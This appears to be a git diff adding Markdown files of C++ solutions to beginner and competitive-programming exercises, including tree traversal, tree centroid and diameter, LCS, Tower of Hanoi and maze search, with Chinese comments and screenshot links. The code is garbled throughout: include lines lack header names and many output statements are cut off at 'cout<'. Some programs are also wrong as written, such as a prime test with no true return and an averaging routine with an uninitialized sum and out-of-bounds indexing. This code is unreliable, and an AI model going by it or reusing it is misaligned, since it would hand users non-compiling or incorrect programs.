+![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/23788a3c68cb4cb986a4b437bcb954cf.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/dcb39b9e39384c3ca887426f7da84fe6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_12,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e2412b7d3b9b4fa18342347858d450d1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/65a728c1e684497d970f207f91939966.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/378177bbd89b4309a5ec7e50ef87ead8.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b001677dce874056b37d184ef8dae404.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/34d8f4fa450c47558aff4032e65b3b70.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ee63db025c44496aac4ec2395661ea29.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/771fc5da18114e56aabc979be59d55b1.png) + +> 如图的二叉树,遍历方式如下: +> 先序:ABCDEF(根、左、右) +> 中序:DBEAFC(左、根、右) +> 后序:DEBFCA(左、右、根) + +
+ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3cdc2ccb3ec84b97bf0c3db54d7ccd6e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6c153849811348878028401c1cbbf9c6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0b11a3c3b7b94cf2addf659b940d7da8.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/33b972dae5a24464ba9fb4aa7933f1de.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +struct node{ + int left,right; //左孩子和右孩子 + char value; //值 +}data[101]; +int root=0,cnt; //根节点和记录有效字符 +char ch; //输入的数据 +//构建二叉树 +int buildTree(int bt){ //参数:结点的编号 + cin>>ch; + if(ch=='.'){ //判断是否为空结点 + bt=0; //赋值为0 + return bt; //跳出程序 + } + else{ //非空结点,进行先序遍历 + bt=++cnt; //构造结点 + data[bt].value=ch; //存放根的值 + data[bt].left=data[bt].right=0; //左右孩子都归零 + data[bt].left=buildTree(bt); //递归左子树 + data[bt].right=buildTree(bt); //递归右子树 + } + return bt; //完成递归 +} +//后序遍历二叉树 +void postorder(int bt){ + if(bt){ //非空结点 + //递归输出根 + postorder(data[bt].left); + postorder(data[bt].right); + cout< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/75683de76f1a47af8c4c584cde8e44a6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/59eb899a80f748c3963600d07bd7cd75.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/be6b3f79cfc644caaa4aa7c1ec8efc8d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a3c0fc92849949a7a901cc78869a78fd.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/401266bcb39f4ee6a2ed754e6c2702e6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0e89dc0ca1974ef3aa8ca7769b9d8baa.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +#include +#include +#include +using namespace std; +struct use{ + int st,en; //两端连线点 +}b[10001]; +int son[10001],ans[10001],minn,n; +//son 子树个数 +int next[10001],point[10001],t; +//next 上条边 point 最后的边 t 记录边的编号 +bool f[10001]; //标记当前边是否已经使用 +void add(int x,int y){ //建立联系 + t++; //边编号 + next[t]=point[x]; //把当前变放入next + point[x]=t; // 当前边 + b[t].st=x; //开始 + b[t].en=y; //结束 + return; +} +void dfs(int x){ //x=从6个节点开始搜索位置 + int i,u,balance=0; //i=边的编号 u=边的子节点端 balance=最大子树节点数 + son[x]=0; //子节点个数 + f[x]=false; //跳过的点 + //搜索所有分支节点 + for(i=point[x];i;i=next[i]){ + u=b[i].en; //当前节点的子节点 + if(!f[u]) continue; //如果搜索过则跳过 + dfs(u); //根据新的根继续向下搜索 + son[x]+=son[u]+1; //x的子节点是u的子节点+1 + balance=max(balance,son[u]+1); //记录搜索最大子节点的个数 + } + balance=max(balance,n-son[x]-1); //最大子树 + //过滤重心 + if(balance>n; + minn=100001; + memset(f,1,sizeof(f)); //给整数数组赋值 + for(int i=1;i>x>>y; + //调用函数连线 + add(x,y); //x连y + add(y,x); //y连x + } + dfs(1); + sort(ans+1,ans+ans[0]+1); //排序并保留重心 (ans[0]) + for(int i=1;i<=ans[0];i++){ + cout< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/95c10b9e89a04d98a5d375a4703d0f18.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d490aa811635489aa35061707b8f3df8.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4e591025ef4140cb831fa472e39f7723.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +struct node{ + int to,next; //to=端点 next=边的编号 +}edge[10001]; +int cnt=0; //边的编号 +int vis[10001],head[10001],dis[10001]; //vis=标记 head=新边的编号 dis=路径中节点 +void add(int u,int v){ + cnt++; //边的编号 + edge[cnt].to=v; + edge[cnt].next=head[u]; + head[u]=cnt; + return; +} +void dfs(int x){ + vis[x]=1; //搜索过的当前点 + for(int i=head[x];i;i=edge[i].next){ + if(!vis[edge[i].to]){ + dis[edge[i].to]=dis[x]+1; + dfs(edge[i].to); //递归 + } + } +} +int main(){ + int n; + cin>>n; + memset(head,-1,sizeof(head)); + memset(vis,0,sizeof(vis)); + memset(dis,0,sizeof(dis)); + //建立树、连接 + for(int i=1;i>u>>v; + add(u,v); + add(v,u); + } + dfs(1); //深搜 + int pos=1; //最远端端点的位置 + for(int i=1;i<=n;i++){ + if(dis[i]>dis[pos]){ + pos=i; + } + } + memset(vis,0,sizeof(vis)); //重新覆盖、二次深搜 + dis[pos]=1; + dfs(pos); + int ans=0; //路径最大值 + for(int i=1;i<=n;i++){ + if(dis[i]>ans){ + ans=dis[i]; + } + } + cout< +using namespace std; +int main(){ + int m,a[21]={0}; + cin>>m; + a[2]=2; + for(int i=2;i<=m;i++) a[i]=a[i-1]+i; + cout< +using namespace std; +int main(){ + int l,m,x,y,sum=0; + bool a[10001]; + cin>>l>>m; + for(int i=0;i<=l;i++){ + a[i]=true; //有树 + } + for(int i=0;i>x>>y; + for(int j=x;j<=y;j++){ + if(a[j]) a[j]=false; //无树 + } + } + for(int i=0;i<=l;i++){ + if(a[i]) sum++; + } + cout< +using namespace std; +int a[10001]={},x,y; +int main(){ + int n,m,small=1,big=1; + cin>>n>>m; + for(int i=0;i>x; + a[x]++; + } + for(int i=0;i>y; + a[y]++; + } + for(int i=0;i<10001;i++){ + if(a[i]>=2) big*=i; + } + small=big; + for(int i=0;i<10001;i++){ + if(a[i]==1){ + small*=i; + } + if(a[i]>=3){ + small*=((a[i]-1)*i); + } + } + cout< +using namespace std; +int main(){ + int n,b,a[1001]={}; + cin>>n; + for(int i=0;i>b; + a[b]++; + } + for(int i=1;i<=10;i++){ + cout< +using namespace std; +bool prime(int x){ + for(int i=2;i*i<=x;i++) if(x%i==0) return 0; +} +int main(){ + int sum=0,n; + cin>>n; + for(int i=2;i<=n;i++) if(prime(i)) sum++; + cout< +using namespace std; +int main(){ + char a,b; + int c,d; + cin>>a>>b>>c>>d; + if(a!=b&&c!=d) cout<<"ordinary"< +using namespace std; +int main(){ + int n; + long long a[10001]={0,0,1}; + cin>>n; + for(int i=3;i<=n;i++) a[i]=(a[i-1]+a[i-2])*(i-1); + cout< +using namespace std; +int tong[3]={4,6,5},mei[3]={1,2,3}; +void put(char x,int t[]){ + int u,f,r; + switch(x){ + case 'R': + u=7-t[2]; + f=t[1]; + r=t[0]; + break; + case 'D': + u=7-t[1]; + f=t[0]; + r=t[2]; + break; + case 'L': + u=t[2]; + f=t[1]; + r=7-t[0]; + break; + } + t[0]=u,t[1]=f,t[2]=r; +} +int main(){ + int n,sum1=0,sum2=0; + cin>>n; + int i=1; + while(i<=n){ + int a=(2*1-1)%4,b=(2*1)%4; + switch(i%3){ + case 1: + while(a--) put('R',tong); + sum1+=tong[0]; + while(b--) put('R',mei); + sum2+=mei[0]; + break; + case 2: + while(a--) put('D',tong); + sum1+=tong[0]; + while(b--) put('D',mei); + sum2+=mei[0]; + break; + case 0: + while(a--) put('L',tong); + sum1+=tong[0]; + while(b--) put('L',mei); + sum2+=mei[0]; + break; + } + i++; + } + char last=sum1>sum2?'A':(sum1==sum2)?'P':'B'; + cout< +#include +using namespace std; +int main(){ + char name[101]; + cin>>name; + //a记录 'a'的ASCII为97 + int a[101]={},minx=100001,len=strlen(name); + for(int i=0;i +#include +using namespace std; +struct student{ + string name=""; + int chinese=0,math=0; + double avg=0.0; +}stu[101]; + +int main(){ + int n; + double sum=0.0,a=0.0; + cin>>n; + int x=n; + for(int i=0;i>stu[i].name; + cin>>stu[i].chinese; + cin>>stu[i].math; + stu[i].avg=(stu[i].chinese+stu[i].math)/2.0; + } + for(int i=0;i +#include +using namespace std; + +int main() +{ + int x,y,min,max; + cin >> y; + cin >> x; + min = x; // 最大值 + max = x; // 最小值 + double avg = x,z,sum; // 平均值 + z = double(y); //记录个数 + sum = double(x); // 数字和 + y--; + while (y--) { + cin >> x; + if (x > max) { + max = x; + } + if (x < min) { + min = x; + } + sum += x; + } + + avg = sum / z; + cout << max << endl; + cout << min << endl; + cout << fixed << setprecision(3) << avg << endl; + return 0; +} +``` +代码截图: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021070313580092.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210703135930441.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + diff --git "a/C++\346\261\202N\344\270\252\346\225\264\346\225\260\344\270\255\347\254\254\344\272\214\345\244\247\347\232\204\345\200\274.md" "b/C++\346\261\202N\344\270\252\346\225\264\346\225\260\344\270\255\347\254\254\344\272\214\345\244\247\347\232\204\345\200\274.md" new file mode 100644 index 0000000..b7b99d4 --- /dev/null +++ "b/C++\346\261\202N\344\270\252\346\225\264\346\225\260\344\270\255\347\254\254\344\272\214\345\244\247\347\232\204\345\200\274.md" @@ -0,0 +1,23 @@ +```cpp +#include +using namespace std; + +int main(){ + int n,num,first = 0,second = 0; + cin >> n; + for (int i = 1;i <= n;i ++){ + cin >> num; + if (first < num){ + second = first; + first = num; + } + else if (second < num){ + second = num; + } + + } + cout << second << endl; + return 0; +} +``` + diff --git "a/C++\346\261\202\344\270\244\344\270\252\345\255\227\347\254\246\344\270\262\347\232\204LCS.md" "b/C++\346\261\202\344\270\244\344\270\252\345\255\227\347\254\246\344\270\262\347\232\204LCS.md" new file mode 100644 index 0000000..96ebb6d --- /dev/null +++ "b/C++\346\261\202\344\270\244\344\270\252\345\255\227\347\254\246\344\270\262\347\232\204LCS.md" @@ -0,0 +1,37 @@ +![C++](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/21afcd02863341c8843acc971e191e67.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1d1220a0a0ad4ddb83bcb26ac37a7a67.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0d0766623f7448e9af2f11fb0fef1ebc.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/58516178718c4b0c9d6ccbace9f338d3.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ec54b771eb0a42f08eeb6cfab53185c4.png) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int dp[101][101]; +void lcs(string & s1,string & s2){ + int m=s1.size(); + int n=s2.size(); + s1="#"+s1; + s2="#"+s2; + //动规核心 + for(int i=1;i<=m;i++){ + for(int j=1;j<=n;j++){ + //第一种情况:末尾字母相等 + if(s1[i]==s2[j]) dp[i][j]=dp[i-1][j-1]+1; + //第二种情况 + else dp[i][j]=max(dp[i-1][j],dp[i][j-1]); + } + } + cout<>s1>>s2; + //求出最长公共子序列 + lcs(s1,s2); + return 0; +} + +``` + diff --git "a/C++\346\261\202\345\220\214\346\227\266\350\242\2533\343\200\2015\343\200\2017\346\225\264\351\231\244\347\232\204\346\225\260.md" "b/C++\346\261\202\345\220\214\346\227\266\350\242\2533\343\200\2015\343\200\2017\346\225\264\351\231\244\347\232\204\346\225\260.md" new file mode 100644 index 0000000..6082d97 --- /dev/null +++ "b/C++\346\261\202\345\220\214\346\227\266\350\242\2533\343\200\2015\343\200\2017\346\225\264\351\231\244\347\232\204\346\225\260.md" @@ -0,0 +1,21 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713150321218.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713150354166.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int n,m; + cin >> n >> m; + + for (int i = n;i <= m;i ++){ + if (i % (5 * 3 * 7) == 0){ + // 因为三个数互质,所以是105的整数倍的一定是5、3、7的整数倍 + cout << i << " "; + } + } + return 0; +} +``` + diff --git "a/C++\346\261\202\345\271\263\345\235\207\345\271\264\351\276\204.md" "b/C++\346\261\202\345\271\263\345\235\207\345\271\264\351\276\204.md" new file mode 100644 index 0000000..76ea5da --- /dev/null +++ "b/C++\346\261\202\345\271\263\345\235\207\345\271\264\351\276\204.md" @@ -0,0 +1,26 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713145729283.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713145743729.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +#include +using namespace std; + +int main() +{ + int men; + cin >> men; + + double n = 1.0,sum = 0.0,age = 0.0; + while (n <= men) { + cin >> age; + sum += age; + n += 1; + } + double avg = sum / men; + cout << fixed << setprecision(2) << avg << endl; + + return 0; +} +``` + diff --git "a/C++\346\261\202\346\257\224\345\271\263\345\235\207\345\200\274\351\203\275\345\244\247\347\232\204\346\225\260.md" "b/C++\346\261\202\346\257\224\345\271\263\345\235\207\345\200\274\351\203\275\345\244\247\347\232\204\346\225\260.md" new file mode 100644 index 0000000..fadb071 --- /dev/null +++ "b/C++\346\261\202\346\257\224\345\271\263\345\235\207\345\200\274\351\203\275\345\244\247\347\232\204\346\225\260.md" @@ -0,0 +1,25 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210714152133879.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int n,sum; + cin >> n; + int arr[n]; + + for (int i = 1;i <= n;i ++){ + cin >> arr[i]; + } + for (int i = 0;i <= n;i ++){ + sum += arr[i]; + } + + double avg = sum / n; + for (int i = 0;i <= n;i ++){ + if (arr[i] > avg) cout << arr[i] << " "; + } + return 0; +``` + diff --git "a/C++\346\261\202\346\260\264\344\273\231\350\212\261\346\225\260.md" "b/C++\346\261\202\346\260\264\344\273\231\350\212\261\346\225\260.md" new file mode 100644 index 0000000..cbb1d17 --- /dev/null +++ "b/C++\346\261\202\346\260\264\344\273\231\350\212\261\346\225\260.md" @@ -0,0 +1,18 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713144941918.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + for (int i = 100;i < 1000;i ++){ + int a = i / 100,b = i % 100 / 10,c = i % 10; + if ((a * a * a + b * b * b + c * c * c) == i){ + cout << i << endl; + continue; + } + } + return 0; +} +``` + diff --git "a/C++\346\261\202\350\260\201\346\213\277\344\272\206\346\234\200\345\244\232\345\245\226\345\255\246\351\207\221.md" "b/C++\346\261\202\350\260\201\346\213\277\344\272\206\346\234\200\345\244\232\345\245\226\345\255\246\351\207\221.md" new file mode 100644 index 0000000..be39bb5 --- /dev/null +++ "b/C++\346\261\202\350\260\201\346\213\277\344\272\206\346\234\200\345\244\232\345\245\226\345\255\246\351\207\221.md" @@ -0,0 +1,45 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4ad4c3e3158149fd86c643f9a7ef9a71.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +struct student{ + char name[21]; + int avg,review; + char iswest,leader; + int text,total; +}stu[101]; +int main(){ + int n,sum=0,max=0,num=0; + cin>>n; + for(int i=0;i>stu[i].name; + cin>>stu[i].avg; + cin>>stu[i].review; + cin>>stu[i].leader; + cin>>stu[i].iswest; + cin>>stu[i].text; + } + for(int i=0;i80&&stu[i].text>=1) stu[i].total+=8000; + if(stu[i].avg>85&&stu[i].review>80) stu[i].total+=4000; + if(stu[i].avg>90) stu[i].total+=2000; + if(stu[i].avg>85&&stu[i].iswest=='Y') stu[i].total+=1000; + if(stu[i].avg>80&&stu[i].leader=='Y') stu[i].total+=850; + } + for(int i=0;imax){ + max=stu[i].total; + num=i; + } + } + cout< +using namespace std; +void move(int n,char x,char z,char y){ + //n片圆盘,x为源柱,z为目标柱,y为过渡柱 + if(n==0) return; + // 将n-1片圆盘从x柱移至y柱 + move(n-1,x,y,z); + cout<"<>n; + move(n,'x','z','y'); + return 0; +} +``` + diff --git "a/C++\346\265\207\346\260\264\350\243\205\347\275\256\351\227\256\351\242\230.md" "b/C++\346\265\207\346\260\264\350\243\205\347\275\256\351\227\256\351\242\230.md" new file mode 100644 index 0000000..b2e1da2 --- /dev/null +++ "b/C++\346\265\207\346\260\264\350\243\205\347\275\256\351\227\256\351\242\230.md" @@ -0,0 +1,45 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e24af2bfb85c4b6bb7e644ef615fc884.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/60911370bd7348919ba3b557fd4894c1.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d9287b0cad644702b4266f12eecf22a0.png) + +```cpp +//Author:PanDaoxi +/* +#include +#include +#include +#include +#include +*/ +#include +using namespace std; +double Length(double R,double b){ + return sqrt(R*R-b*b/4)*2; //求内接矩阵的长度 +} +int main(){ + int n; + const double l=20,w=2; + cin>>n; + //处理n组数据 + while(n--){ + int m; + double R; + cin>>m; + vector Rs; //动态数组 + while(m--){ + cin>>R; + Rs.push_back(R); //把R放入数组 + } + sort(Rs.begin(),Rs.end(),greater()); + double sum=0; + int i; + for(i=0;i!=Rs.size();i++){ //遍历动态数组长度 + if(sum>l) break; //判断是否完全覆盖草坪 + sum+=Length(Rs[i],w); //计算内接矩阵的长度 + } + cout< +using namespace std; +//创建模拟地图、记录点否用过的变量 +int G[105][105],vis[105][105],n; +//位置变化:上右下左 +int dx[5]={-1,0,1,0}, //x坐标的位置变化 + dy[5]={0,1,0,-1}; //y坐标的位置变化 +//标记是否有解 +bool f=false; +//深搜函数 +void dfs(int x,int y){ + //如果(x,y)存在目标,则有解 + if(G[x][y]==2){ + f=true; + return; + } + //向四个方向搜索 + for(int i=0;i<4;i++){ + //更新坐标位置 + int x2=x+dx[i],y2=y+dy[i]; + //判断是否在地图中 + //如果G[x2][y2]!=1,则可以搜索 + //vis[x2][y2]==0,没走过,可以搜索 + if(x2>=0&&x2=0&&y2>n; + //初始化地图 + for(int i=0;i>G[i][j]; + } + } + //搜索:先处理两种简单情况,如果没有则搜索 + if(G[0][0]==1){ //如果当前位置就是障碍,则无法搜索 + cout<<"NO"; + return 0; + } + else if(G[0][0]==2){ //如果当前位置就是目标,则不用搜索,直接成功 + cout<<"YES"; + return 0; + } + else{ //如果都没有出现则进行深度优先搜索 + vis[0][0]=1; + dfs(0,0); + if(f){ + cout<<"YES"< +using namespace std; +int dx[5]={-1,0,1,0},dy[5]={0,1,0,-1}; +int G[51][51],vis[51][51],n,sx,sy,ex,ey; +bool f=false; +void dfs(int x,int y){ + if(x==ex&&y==ey){ + cout<<"yes"; + f=true; + return; + } + for(int i=0;i<4;i++){ + int x2=x+dx[i],y2=y+dy[i]; + if(x2>=1&&x2<=n&&y2>=1&&y2<=n&&G[x2][y2]&&!vis[x2][y2]){ + vis[x2][y2]=1; + dfs(x2,y2); + } + } +} +int main(){ + cin>>n; + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + cin>>G[i][j]; + } + } + cin>>sx>>sy>>ex>>ey; + if(sx==ex&&sy==ey){ + cout<<"yes"; + return 0; + } + vis[sx][sy]=1; + dfs(sx,sy); + if(!f){ + cout<<"no"; + } + return 0; +} +``` +加强版代码: +```cpp +//Author:PanDaoxi +#include +using namespace std; +int dx[5]={-1,0,1,0},dy[5]={0,1,0,-1}; +int G[31][31],vis[31][31],n,sx,sy,ex,ey,A[1000][3]; +bool f=false; +void dfs(int x,int y,int d){ + if(x==ex&&y==ey){ + for(int i=0;i"; + } + cout<<"("<=1&&xx<=n&&yy>=1&&yy<=n&&G[xx][yy]&!vis[xx][yy]){ + vis[xx][yy]=1; + A[d][0]=xx,A[d][1]=yy; + dfs(xx,yy,d+1); + } + } +} +int main(){ + cin>>n; + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + cin>>G[i][j]; + } + } + cin>>sx>>sy>>ex>>ey; + if(sx==ex&&sy==ey){ + cout<<"yes"< +using namespace std; +int dx[5]={-1,0,1,0},dy[5]={0,1,0,-1}; +int G[51][51],vis[51][51],n,sx,sy,ex,ey; +bool f=false; +void dfs(int x,int y){ + if(x==ex&&y==ey){ + cout<<"yes"; + f=true; + return; + } + for(int i=0;i<4;i++){ + int x2=x+dx[i],y2=y+dy[i]; + if(x2>=1&&x2<=n&&y2>=1&&y2<=n&&G[x2][y2]&&!vis[x2][y2]){ + vis[x2][y2]=1; + dfs(x2,y2); + } + } +} +int main(){ + cin>>n; + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + cin>>G[i][j]; + } + } + cin>>sx>>sy>>ex>>ey; + if(sx==ex&&sy==ey){ + cout<<"yes"; + return 0; + } + vis[sx][sy]=1; + dfs(sx,sy); + if(!f){ + cout<<"no"; + } + return 0; +} +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3972056104bf43879b5b8a420301a9ed.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/C++\346\273\241\350\266\263\346\235\241\344\273\266\347\232\204\346\225\260\347\264\257\345\212\240.md" "b/C++\346\273\241\350\266\263\346\235\241\344\273\266\347\232\204\346\225\260\347\264\257\345\212\240.md" new file mode 100644 index 0000000..8b8de5b --- /dev/null +++ "b/C++\346\273\241\350\266\263\346\235\241\344\273\266\347\232\204\346\225\260\347\264\257\345\212\240.md" @@ -0,0 +1,19 @@ 